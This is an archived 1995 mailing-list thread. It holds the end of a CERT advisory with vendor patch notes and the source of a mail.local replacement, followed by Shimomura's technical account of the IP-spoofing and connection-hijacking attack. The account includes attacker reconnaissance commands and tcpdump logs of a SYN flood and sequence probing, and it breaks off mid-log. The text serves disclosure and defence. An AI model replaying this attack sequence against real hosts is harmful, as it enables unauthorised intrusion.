Internet E-mail: cert@cert.org Telephone: +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax: +1 412-268-6989 CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 USA Past advisories, CERT bulletins, information about FIRST representatives, and other information related to computer security are available for anonymous FTP from info.cert.org. CERT is a service mark of Carnegie Mellon University. ............................................................................... Appendix A: Vendor Information Current as of January 26, 1995 See CA-95.02.README for updated information Below is information we have received from vendors who have patches available or upcoming for the vulnerabilities described in this advisory, as well as vendors who have confirmed that their products are not vulnerable. If your vendor's name is not in one of these lists, contact the vendor directly for information on whether their version of sendmail is vulnerable and, if so, the status of patches to address the vulnerabilities. NOT VULNERABLE -------------- The following vendors have reported that their products are NOT vulnerable. Apple Computer, Inc. Berkeley SW Design, Inc. (BSDI) Data General Corp. Harris IBM NeXT, Inc. Pyramid The Santa Cruz Operation (SCO) - not vulnerable, but see note below Sun Microsystems, Inc. - Solaris 2.x (SunOS 4.x is vulnerable; see below) In addition, we have reports that the following products are NOT vulnerable. FreeBSD NetBSD VULNERABLE ---------- We have reports that the following vendors' products ARE vulnerable. Patch information is provided below. ----------------------------- Digital Equipment Corporation Vulnerable: DEC OSF/1 versions 1.2, 1.3, and 2.0 DEC ULTRIX versions 4.3, 4.3A, and 4.4 Obtain and install the appropriate patch according to the instructions included with the patch. The patch that corrects the /bin/mail problem in each case is part of a comprehensive Security Enhanced Kit that addresses other problems as well. This kit has been available since May 17, 1994. It is described in DEC security advisory #0505 and in CERT bulletin VB-94:02. 1. DEC OSF/1 Upgrade/install OSF/1 to a minimum of V2.0 and install Security Enhanced Kit CSCPAT_4061 v1.0. 2. DEC ULTRIX Upgrade/install ULTRIX to a minimum of V4.4 and install Security Enhanced Kit CSCPAT_4060 v1.0. Both kits listed above are available from Digital Equipment Corporation by contacting your normal Digital support channel or by request via DSNlink for electronic transfer. ----------------------------- The Santa Cruz Operation (SCO) SCO's version of /bin/mail is not vulnerable to the problems mentioned in this advisory. SCO's /bin/mail is not setuid-root. However, SCO's /bin/mail has other security-related issues that are fixed by SCO's Support Level Supplement (SLS) uod392a. To get this: ftp: ftp.sco.COM:/SLS/uod392a.Z (compressed disk image) ftp.sco.COM:/SLS/uod392a.ltr.Z (cover letter) ftp.sco.COM:/SLS/README ----------------------------- Solbourne Grumman System Support Corporation now performs all Solbourne software and hardware support. Please contact them for further information. ftp: ftp.nts.gssc.com phone: 1-800-447-2861 e-mail: support@nts.gssc.com ----------------------------- Sun Microsystems, Inc. Current patches are listed below, but they are being revised. SunOS Patch MD5 Checksum ------ ----- ------------ 4.1.3 100224-13.tar.Z 90a507017a1a40c4622b3f1f00ce5d2d 4.1.3UI 101436-08.tar.Z 0e64560edc61eb4b3da81a932e8b11e1 The patches can be obtained from local Sun Answer Centers and through anonymous FTP from ftp.uu.net in the /systems/sun/sun-dist directory. In Europe, the patches are available from mcsun.eu.net in the /sun/fixes directory. Appendix B: README File for mail.local.c /bin/mail is a setuid root program with several security vulnerabilities. If you cannot obtain a vendor-supplied replacement for /bin/mail, the CERT Coordination Center suggests using mail.local as a replacement for /bin/mail. In the early days of UNIX, /bin/mail was used to read and to send e-mail. Over the years, many users have switched to e-mail programs with better user interfaces and more features. On BSD 4.3 based UNIX systems using sendmail, /bin/mail is still being used as the local delivery agent. These systems could be at risk. Systems based on UNIX system III or system IV are not vulnerable. mail.local is a replacement for the /bin/mail program. It is only a delivery agent for sendmail and does not have a user interface. It is distributed as a C source file. For operating systems based on BSD 4.3, mail.local.c from a BSD 4.4 distribution will not compile. The version of mail.local.c in this directory was ported to BSD 4.3 by Eric Allman. It should compile and operate on most BSD 4.3 systems. It has been tested on SunOS 4.1.x and Ultrix 4.x systems. To install mail.local, edit the source file to set the _PATH_MAILDIR to the directory where users' spooled mail files are located. The default is "/var/spool/mail". SunOS % cc -Bstatic -O -o mail.local mail.local.c Ultrix % cc -O -o mail.local mail.local.c -Dultrix As root: # mv mail.local $INSTALL_DIR Substitute $INSTALL_DIR for the full pathname of the directory where mail.local will be installed. # chown root $INSTALL_DIR/mail.local # chmod 4711 $INSTALL_DIR/mail.local Edit the sendmail.cf file (in /etc or /usr/lib) search for Mlocal. On that line, replace /bin/mail with $INSTALL_DIR/mail.local. Restart the sendmail process. For versions of sendmail using frozen configuration files, it is important to refreeze the configuration file before restarting the sendmail process. Test the e-mail system. When you are satisfied that everything is working, disable the setuid root bit on the /bin/mail program. # chmod 0711 /bin/mail OR # chmod 0711 /usr/bin/mail **************************************************************************** * The CERT Coordination Center will not formally review, evaluate, or * * endorse the program described. The decision to use the program * * described is the responsibility of each user or organization and we * * encourage each organization to thoroughly evaluate this program * * before installation or use. * **************************************************************************** Appendix C: mail.local.c /*- * Copyright (c) 1990, 1993, 1994 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by the University of * California, Berkeley and its contributors. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #ifndef lint static char copyright[] = "@(#) Copyright (c) 1990, 1993, 1994\n\ The Regents of the University of California. All rights reserved.\n"; #endif /* not lint */ #ifndef lint static char sccsid[] = "@(#)mail.local.c 8.18 (Berkeley) 1/25/95"; #endif /* not lint */ /* * This is not intended to compile on System V derived systems * such as Solaris or HP-UX, since they use a totally different * approach to mailboxes (essentially, they have a setgid program * rather than setuid, and they rely on the ability to "give away" * files to do their work). IT IS NOT A BUG that this doesn't * compile on such architectures. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #if __STDC__ #include #else #include #endif #ifndef LOCK_EX # include #endif #ifdef BSD4_4 # include "pathnames.h" #endif #ifndef __P # ifdef __STDC__ # define __P(protos) protos # else # define __P(protos) () # define const # endif #endif #ifndef __dead # if defined(__GNUC__) && (__GNUC__ < 2 || __GNUC_MINOR__ < 5) && !defined(__STRICT_ANSI__) # define __dead __volatile # else # define __dead # endif #endif #ifndef BSD4_4 # define _BSD_VA_LIST_ va_list extern char *strerror __P((int)); #endif #ifndef _PATH_LOCTMP # define _PATH_LOCTMP "/tmp/local.XXXXXX" #endif #ifndef _PATH_MAILDIR # define _PATH_MAILDIR "/var/spool/mail" #endif #ifndef S_ISREG # define S_ISREG(mode) (((mode) & _S_IFMT) == S_IFREG) #endif int eval = EX_OK; /* sysexits.h error value. */ void deliver __P((int, char *)); void e_to_sys __P((int)); __dead void err __P((const char *, ...)); void notifybiff __P((char *)); int store __P((char *)); void usage __P((void)); void vwarn __P((const char *, _BSD_VA_LIST_)); void warn __P((const char *, ...)); int main(argc, argv) int argc; char *argv[]; { struct passwd *pw; int ch, fd; uid_t uid; char *from; extern char *optarg; extern int optind; /* make sure we have some open file descriptors */ for (fd = 10; fd < 30; fd++) (void) close(fd); /* use a reasonable umask */ (void) umask(0077); #ifdef LOG_MAIL openlog("mail.local", 0, LOG_MAIL); #else openlog("mail.local", 0); #endif from = NULL; while ((ch = getopt(argc, argv, "df:r:")) != EOF) switch(ch) { case 'd': /* Backward compatible. */ break; case 'f': case 'r': /* Backward compatible. */ if (from != NULL) { warn("multiple -f options"); usage(); } from = optarg; break; case '?': default: usage(); } argc -= optind; argv += optind; if (!*argv) usage(); /* * If from not specified, use the name from getlogin() if the * uid matches, otherwise, use the name from the password file * corresponding to the uid. */ uid = getuid(); if (!from && (!(from = getlogin()) || !(pw = getpwnam(from)) || pw->pw_uid != uid)) from = (pw = getpwuid(uid)) ? pw->pw_name : "???"; /* * There is no way to distinguish the error status of one delivery * from the rest of the deliveries. So, if we failed hard on one * or more deliveries, but had no failures on any of the others, we * return a hard failure. If we failed temporarily on one or more * deliveries, we return a temporary failure regardless of the other * failures. This results in the delivery being reattempted later * at the expense of repeated failures and multiple deliveries. */ for (fd = store(from); *argv; ++argv) deliver(fd, *argv); exit(eval); } int store(from) char *from; { FILE *fp; time_t tval; int fd, eline; char line[2048]; char tmpbuf[sizeof _PATH_LOCTMP + 1]; strcpy(tmpbuf, _PATH_LOCTMP); if ((fd = mkstemp(tmpbuf)) == -1 || (fp = fdopen(fd, "w+")) == NULL) { e_to_sys(errno); err("unable to open temporary file"); } (void)unlink(tmpbuf); (void)time(&tval); (void)fprintf(fp, "From %s %s", from, ctime(&tval)); line[0] = '\0'; for (eline = 1; fgets(line, sizeof(line), stdin);) { if (line[0] == '\n') eline = 1; else { if (eline && line[0] == 'F' && !memcmp(line, "From ", 5)) (void)putc('>', fp); eline = 0; } (void)fprintf(fp, "%s", line); if (ferror(fp)) { e_to_sys(errno); err("temporary file write error"); } } /* If message not newline terminated, need an extra. */ if (!strchr(line, '\n')) (void)putc('\n', fp); /* Output a newline; note, empty messages are allowed. */ (void)putc('\n', fp); if (fflush(fp) == EOF || ferror(fp)) { e_to_sys(errno); err("temporary file write error"); } return (fd); } void deliver(fd, name) int fd; char *name; { struct stat fsb, sb; struct passwd *pw; int mbfd, nr, nw, off; char *p; char biffmsg[100], buf[8*1024], path[MAXPATHLEN]; off_t curoff; /* * Disallow delivery to unknown names -- special mailboxes can be * handled in the sendmail aliases file. */ if (!(pw = getpwnam(name))) { if (eval != EX_TEMPFAIL) eval = EX_UNAVAILABLE; warn("unknown name: %s", name); return; } /* * Keep name reasonably short to avoid buffer overruns. * This isn't necessary on BSD because of the proper * definition of snprintf(), but it can cause problems * on other systems. * Also, clear out any bogus characters. */ if (strlen(name) > 40) name[40] = '\0'; for (p = name; *p != '\0'; p++) { if (!isascii(*p)) *p &= 0x7f; else if (!isprint(*p)) *p = '.'; } (void)snprintf(path, sizeof(path), "%s/%s", _PATH_MAILDIR, name); /* * If the mailbox is linked or a symlink, fail. There's an obvious * race here, that the file was replaced with a symbolic link after * the lstat returned, but before the open. We attempt to detect * this by comparing the original stat information and information * returned by an fstat of the file descriptor returned by the open. * * NB: this is a symptom of a larger problem, that the mail spooling * directory is writeable by the wrong users. If that directory is * writeable, system security is compromised for other reasons, and * it cannot be fixed here. * * If we created the mailbox, set the owner/group. If that fails, * just return. Another process may have already opened it, so we * can't unlink it. Historically, binmail set the owner/group at * each mail delivery. We no longer do this, assuming that if the * ownership or permissions were changed there was a reason. * * XXX * open(2) should support flock'ing the file. */ tryagain: lockmbox(path); if (lstat(path, &sb)) { mbfd = open(path, O_APPEND|O_CREAT|O_EXCL|O_WRONLY, S_IRUSR|S_IWUSR); if (mbfd == -1) { if (errno == EEXIST) goto tryagain; } else if (fchown(mbfd, pw->pw_uid, pw->pw_gid)) { e_to_sys(errno); warn("chown %u.%u: %s", pw->pw_uid, pw->pw_gid, name); unlockmbox(); return; } } else if (sb.st_nlink != 1 || !S_ISREG(sb.st_mode)) { e_to_sys(errno); warn("%s: irregular file", path); unlockmbox(); return; } else if (sb.st_uid != pw->pw_uid) { warn("%s: wrong ownership (%d)", path, sb.st_uid); unlockmbox(); return; } else { mbfd = open(path, O_APPEND|O_WRONLY, 0); if (mbfd != -1 && (fstat(mbfd, &fsb) || fsb.st_nlink != 1 || !S_ISREG(fsb.st_mode) || sb.st_dev != fsb.st_dev || sb.st_ino != fsb.st_ino || sb.st_uid != fsb.st_uid)) { warn("%s: file changed after open", path); (void)close(mbfd); unlockmbox(); return; } } if (mbfd == -1) { e_to_sys(errno); warn("%s: %s", path, strerror(errno)); unlockmbox(); return; } /* Wait until we can get a lock on the file. */ if (flock(mbfd, LOCK_EX)) { e_to_sys(errno); warn("%s: %s", path, strerror(errno)); unlockmbox(); goto err1; } /* Get the starting offset of the new message for biff. */ curoff = lseek(mbfd, (off_t)0, SEEK_END); (void)snprintf(biffmsg, sizeof(biffmsg), sizeof curoff > sizeof(long) ? "%s@%qd\n" : "%s@%ld\n", name, curoff); /* Copy the message into the file. */ if (lseek(fd, (off_t)0, SEEK_SET) == (off_t)-1) { e_to_sys(errno); warn("temporary file: %s", strerror(errno)); goto err1; } while ((nr = read(fd, buf, sizeof(buf))) > 0) for (off = 0; off < nr; off += nw) if ((nw = write(mbfd, buf + off, nr - off)) < 0) { e_to_sys(errno); warn("%s: %s", path, strerror(errno)); goto err2;; } if (nr < 0) { e_to_sys(errno); warn("temporary file: %s", strerror(errno)); goto err2;; } /* Flush to disk, don't wait for update. */ if (fsync(mbfd)) { e_to_sys(errno); warn("%s: %s", path, strerror(errno)); err2: (void)ftruncate(mbfd, curoff); err1: (void)close(mbfd); unlockmbox(); return; } /* Close and check -- NFS doesn't write until the close. */ if (close(mbfd)) { e_to_sys(errno); warn("%s: %s", path, strerror(errno)); unlockmbox(); return; } unlockmbox(); notifybiff(biffmsg); } /* * user.lock files are necessary for compatibility with other * systems, e.g., when the mail spool file is NFS exported. * Alas, mailbox locking is more than just a local matter. * EPA 11/94. */ char lockname[MAXPATHLEN]; int locked = 0; lockmbox(path) char *path; { int statfailed = 0; if (locked) return; sprintf(lockname, "%s.lock", path); for (;; sleep(5)) { int fd; struct stat st; time_t now; fd = open(lockname, O_WRONLY|O_EXCL|O_CREAT, 0); if (fd >= 0) { locked = 1; close(fd); return; } if (stat(lockname, &st) < 0) { if (statfailed++ > 5) return; continue; } statfailed = 0; time(&now); if (now < st.st_ctime + 300) continue; unlink(lockname); } } unlockmbox() { if (!locked) return; unlink(lockname); locked = 0; } void notifybiff(msg) char *msg; { static struct sockaddr_in addr; static int f = -1; struct hostent *hp; struct servent *sp; int len; if (!addr.sin_family) { /* Be silent if biff service not available. */ if (!(sp = getservbyname("biff", "udp"))) return; if (!(hp = gethostbyname("localhost"))) { warn("localhost: %s", strerror(errno)); return; } addr.sin_family = hp->h_addrtype; memcpy(&addr.sin_addr, hp->h_addr, hp->h_length); addr.sin_port = sp->s_port; } if (f < 0 && (f = socket(AF_INET, SOCK_DGRAM, 0)) == -1) { warn("socket: %s", strerror(errno)); return; } len = strlen(msg) + 1; if (sendto(f, msg, len, 0, (struct sockaddr *)&addr, sizeof(addr)) != len) warn("sendto biff: %s", strerror(errno)); } void usage() { eval = EX_USAGE; err("usage: mail.local [-f from] user ..."); } #if __STDC__ void err(const char *fmt, ...) #else void err(fmt, va_alist) const char *fmt; va_dcl #endif { va_list ap; #if __STDC__ va_start(ap, fmt); #else va_start(ap); #endif vwarn(fmt, ap); va_end(ap); exit(eval); } void #if __STDC__ warn(const char *fmt, ...) #else warn(fmt, va_alist) const char *fmt; va_dcl #endif { va_list ap; #if __STDC__ va_start(ap, fmt); #else va_start(ap); #endif vwarn(fmt, ap); va_end(ap); } void vwarn(fmt, ap) const char *fmt; _BSD_VA_LIST_ ap; { /* * Log the message to stderr. * * Don't use LOG_PERROR as an openlog() flag to do this, * it's not portable enough. */ if (eval != EX_USAGE) (void)fprintf(stderr, "mail.local: "); (void)vfprintf(stderr, fmt, ap); (void)fprintf(stderr, "\n"); #ifndef ultrix /* Log the message to syslog. */ vsyslog(LOG_ERR, fmt, ap); #else { char fmtbuf[10240]; (void) sprintf(fmtbuf, fmt, ap); syslog(LOG_ERR, "%s", fmtbuf); } #endif } /* * e_to_sys -- * Guess which errno's are temporary. Gag me. */ void e_to_sys(num) int num; { /* Temporary failures override hard errors. */ if (eval == EX_TEMPFAIL) return; switch(num) { /* Hopefully temporary errors. */ #ifdef EAGAIN case EAGAIN: /* Resource temporarily unavailable */ #endif #ifdef EDQUOT case EDQUOT: /* Disc quota exceeded */ #endif #ifdef EBUSY case EBUSY: /* Device busy */ #endif #ifdef EPROCLIM case EPROCLIM: /* Too many processes */ #endif #ifdef EUSERS case EUSERS: /* Too many users */ #endif #ifdef ECONNABORTED case ECONNABORTED: /* Software caused connection abort */ #endif #ifdef ECONNREFUSED case ECONNREFUSED: /* Connection refused */ #endif #ifdef ECONNRESET case ECONNRESET: /* Connection reset by peer */ #endif #ifdef EDEADLK case EDEADLK: /* Resource deadlock avoided */ #endif #ifdef EFBIG case EFBIG: /* File too large */ #endif #ifdef EHOSTDOWN case EHOSTDOWN: /* Host is down */ #endif #ifdef EHOSTUNREACH case EHOSTUNREACH: /* No route to host */ #endif #ifdef EMFILE case EMFILE: /* Too many open files */ #endif #ifdef ENETDOWN case ENETDOWN: /* Network is down */ #endif #ifdef ENETRESET case ENETRESET: /* Network dropped connection on reset */ #endif #ifdef ENETUNREACH case ENETUNREACH: /* Network is unreachable */ #endif #ifdef ENFILE case ENFILE: /* Too many open files in system */ #endif #ifdef ENOBUFS case ENOBUFS: /* No buffer space available */ #endif #ifdef ENOMEM case ENOMEM: /* Cannot allocate memory */ #endif #ifdef ENOSPC case ENOSPC: /* No space left on device */ #endif #ifdef EROFS case EROFS: /* Read-only file system */ #endif #ifdef ESTALE case ESTALE: /* Stale NFS file handle */ #endif #ifdef ETIMEDOUT case ETIMEDOUT: /* Connection timed out */ #endif #if defined(EWOULDBLOCK) && EWOULDBLOCK != EAGAIN && EWOULDBLOCK != EDEADLK case EWOULDBLOCK: /* Operation would block. */ #endif eval = EX_TEMPFAIL; break; default: eval = EX_UNAVAILABLE; break; } } #ifndef BSD4_4 char * strerror(eno) int eno; { extern int sys_nerr; extern char *sys_errlist[]; static char ebuf[60]; if (eno >= 0 && eno <= sys_nerr) return sys_errlist[eno]; (void) sprintf(ebuf, "Error %d", eno); return ebuf; } #if __STDC__ snprintf(char *buf, int bufsiz, const char *fmt, ...) #else snprintf(buf, bufsiz, fmt, va_alist) char *buf; int bufsiz; const char *fmt; va_dcl #endif { va_list ap; #if __STDC__ va_start(ap, fmt); #else va_start(ap); #endif vsprintf(buf, fmt, ap); va_end(ap); } #endif #ifdef ultrix /* * Copyright (c) 1987, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by the University of * California, Berkeley and its contributors. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #if defined(LIBC_SCCS) && !defined(lint) static char sccsid[] = "@(#)mktemp.c 8.1 (Berkeley) 6/4/93"; #endif /* LIBC_SCCS and not lint */ #include #include #include #include #include #include static int _gettemp(); mkstemp(path) char *path; { int fd; return (_gettemp(path, &fd) ? fd : -1); } /* char * mktemp(path) char *path; { return(_gettemp(path, (int *)NULL) ? path : (char *)NULL); } */ static _gettemp(path, doopen) char *path; register int *doopen; { extern int errno; register char *start, *trv; struct stat sbuf; u_int pid; pid = getpid(); for (trv = path; *trv; ++trv); /* extra X's get set to 0's */ while (*--trv == 'X') { *trv = (pid % 10) + '0'; pid /= 10; } /* * check the target directory; if you have six X's and it * doesn't exist this runs for a *very* long time. */ for (start = trv + 1;; --trv) { if (trv <= path) break; if (*trv == '/') { *trv = '\0'; if (stat(path, &sbuf)) return(0); if (!S_ISDIR(sbuf.st_mode)) { errno = ENOTDIR; return(0); } *trv = '/'; break; } } for (;;) { if (doopen) { if ((*doopen = open(path, O_CREAT|O_EXCL|O_RDWR, 0600)) >= 0) return(1); if (errno != EEXIST) return(0); } else if (stat(path, &sbuf)) return(errno == ENOENT ? 1 : 0); /* tricky little algorithm for backward compatibility */ for (trv = start;;) { if (!*trv) return(0); if (*trv == 'z') *trv++ = 'a'; else { if (isdigit(*trv)) *trv = 'a'; else ++*trv; break; } } } /*NOTREACHED*/ } #endif -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From piotrwi Fri Jan 27 11:14:59 1995 Received: by zsku.p.lodz.pl (5.65/25-eef) id AA01650; Fri, 27 Jan 95 11:13:29 +0100 Return-Path: Date: Fri, 27 Jan 1995 11:13:25 +0100 (MEZ) From: Piotr Wilk To: polip@zsku.p.lodz.pl Subject: Technical details of the attack described by Markoff in NYT Message-Id: Organization: Samodzielny Zaklad Sieci Komputerowych Politechniki Lodzkiej Address: 90-924 Lodz; ul. Stefanowskiego 18/22 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII ---------- Forwarded message ---------- >From krzysio@hebe.umcs.lublin.pl Fri Jan 27 00:26:57 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA24370; Fri, 27 Jan 95 00:25:57 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id XAA11256 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 23:32:31 GMT Received: from relay4.UU.NET (relay4.UU.NET [192.48.96.14]) by hebe.umcs.lublin.pl (8.6.9/8.6.9) with ESMTP id XAA11015 for ; Thu, 26 Jan 1995 23:19:03 GMT Received: from miles.greatcircle.com by relay4.UU.NET with ESMTP id QQyaki08329; Thu, 26 Jan 1995 18:08:47 -0500 Received: (daemon@localhost) by miles.greatcircle.com (8.6.9/Miles-941015-1) id LAA01984 for firewalls-outgoing; Thu, 26 Jan 1995 11:27:31 -0800 Received: from ariel.sdsc.edu (ariel.sdsc.edu [132.249.22.240]) by miles.greatcircle.com (8.6.9/Miles-941015-1) with ESMTP id EAA09230 for ; Wed, 25 Jan 1995 04:38:35 -0800 Received: from localhost (tsutomu@localhost) by ariel.sdsc.edu (8.6.4/8.6.4) id EAA05736 for firewalls@greatcircle.com; Wed, 25 Jan 1995 04:36:45 -0800 Date: Wed, 25 Jan 1995 04:36:45 -0800 From: Tsutomu Shimomura Message-Id: <199501251236.EAA05736@ariel.sdsc.edu> Newsgroups: comp.security.misc,comp.protocols.tcp-ip,alt.security Organization: San Diego Supercomputer Center Cc: firewalls@hebe.umcs.lublin.pl Subject: Technical details of the attack described by Markoff in NYT Keywords: IP spoofing, security, session hijacking Sender: krzysio@hebe.umcs.lublin.pl Precedence: bulk Greetings from Lake Tahoe. There seems to be a lot of confusion about the IP address spoofing and connection hijacking attacks described by John Markoff's 1/23/95 NYT article, and CERT advisory CA-95:01. Here are some technical details from my presentation on 1/11/95 at CMAD 3 in Sonoma, California. Hopefully this will help clear up any misunderstandings as to the nature of these attacks. Two different attack mechanisms were used. IP source address spoofing and TCP sequence number prediction were used to gain initial access to a diskless workstation being used mostly as an X terminal. After root access had been obtained, an existing connection to another system was hijacked by means of a loadable kernel STREAMS module. Included in this note are excerpts from actual tcpdump packet logs generated by this attack. In the interest of clarity (and brevity!), some of the data has been omitted. I highly recommend Steve Bellovin's paper and posts on IP spoofing, as he describes in more detail the semantics of the TCP handshake, as well as making some suggestions on how to defeat this attack. My configuration is as follows: server = a SPARCstation running Solaris 1 serving my "X terminal" x-terminal = a diskless SPARCstation running Solaris 1 target = the apparent primary target of the attack ----- The IP spoofing attack started at about 14:09:32 PST on 12/25/94. The first probes were from toad.com (this info derived from packet logs): 14:09:32 toad.com# finger -l @target 14:10:21 toad.com# finger -l @server 14:10:50 toad.com# finger -l root@server 14:11:07 toad.com# finger -l @x-terminal 14:11:38 toad.com# showmount -e x-terminal 14:11:49 toad.com# rpcinfo -p x-terminal 14:12:05 toad.com# finger -l root@x-terminal The apparent purpose of these probes was to determine if there might be some kind of trust relationship amongst these systems which could be exploited with an IP spoofing attack. The source port numbers for the showmount and rpcinfo indicate that the attacker is root on toad.com. ----- About six minutes later, we see a flurry of TCP SYNs (initial connection requests) from 130.92.6.97 to port 513 (login) on server. The purpose of these SYNs is to fill the connection queue for port 513 on server with "half-open" connections so it will not respond to any new connection requests. In particular, it will not generate TCP RSTs in response to unexpected SYN-ACKs. As port 513 is also a "privileged" port (< IPPORT_RESERVED), server.login can now be safely used as the putative source for an address spoofing attack on the UNIX "r-services" (rsh, rlogin). 130.92.6.97 appears to be a random (forged) unused address (one that will not generate any response to packets sent to it): 14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096 14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096 14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096 14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096 14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096 14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096 14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096 14:18:23.103275 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) win 4096 14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) win 4096 14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) win 4096 14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) win 4096 14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) win 4096 14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972:1382726972(0) win 4096 14:18:23.903700 130.92.6.97.613 > server.login: S 1382726973:1382726973(0) win 4096 14:18:24.003252 130.92.6.97.614 > server.login: S 1382726974:1382726974(0) win 4096 14:18:24.084827 130.92.6.97.615 > server.login: S 1382726975:1382726975(0) win 4096 14:18:24.142774 130.92.6.97.616 > server.login: S 1382726976:1382726976(0) win 4096 14:18:24.203195 130.92.6.97.617 > server.login: S 1382726977:1382726977(0) win 4096 14:18:24.294773 130.92.6.97.618 > server.login: S 1382726978:1382726978(0) win 4096 14:18:24.382841 130.92.6.97.619 > server.login: S 1382726979:1382726979(0) win 4096 14:18:24.443309 130.92.6.97.620 > server.login: S 1382726980:1382726980(0) win 4096 14:18:24.643249 130.92.6.97.621 > server.login: S 1382726981:1382726981(0) win 4096 14:18:24.906546 130.92.6.97.622 > server.login: S 1382726982:1382726982(0) win 4096 14:18:24.963768 130.92.6.97.623 > server.login: S 1382726983:1382726983(0) win 4096 14:18:25.022853 130.92.6.97.624 > server.login: S 1382726984:1382726984(0) win 4096 14:18:25.153536 130.92.6.97.625 > server.login: S 1382726985:1382726985(0) win 4096 14:18:25.400869 130.92.6.97.626 > server.login: S 1382726986:1382726986(0) win 4096 14:18:25.483127 130.92.6.97.627 > server.login: S 1382726987:1382726987(0) win 4096 14:18:25.599582 130.92.6.97.628 > server.login: S 1382726988:1382726988(0) win 4096 14:18:25.653131 130.92.6.97.629 > server.login: S 1382726989:1382726989(0) win 4096 server generated SYN-ACKs for the first eight SYN requests before the connection queue filled up. server will periodically retransmit these SYN-ACKs as there is nothing to ACK them. ----- We now see 20 connection attempts from apollo.it.luc.edu to x-terminal.shell. The purpose of these attempts is to determine the behavior of x-terminal's TCP sequence number generator. Note that the initial sequence numbers increment by one for each connection, indicating that the SYN packets are *not* being generated by the system's TCP implementation. This results in RSTs conveniently being generated in response to each unexpected SYN-ACK, so the connection queue on x-terminal does not fill up: 14:18:25.906002 apollo.it.luc.edu.1000 > x-terminal.shell: S 1382726990:1382726990(0) win 4096 14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000: S 2021824000:2021824000(0) ack 1382726991 win 4096 14:18:26.172394 apollo.it.luc.edu.1000 > 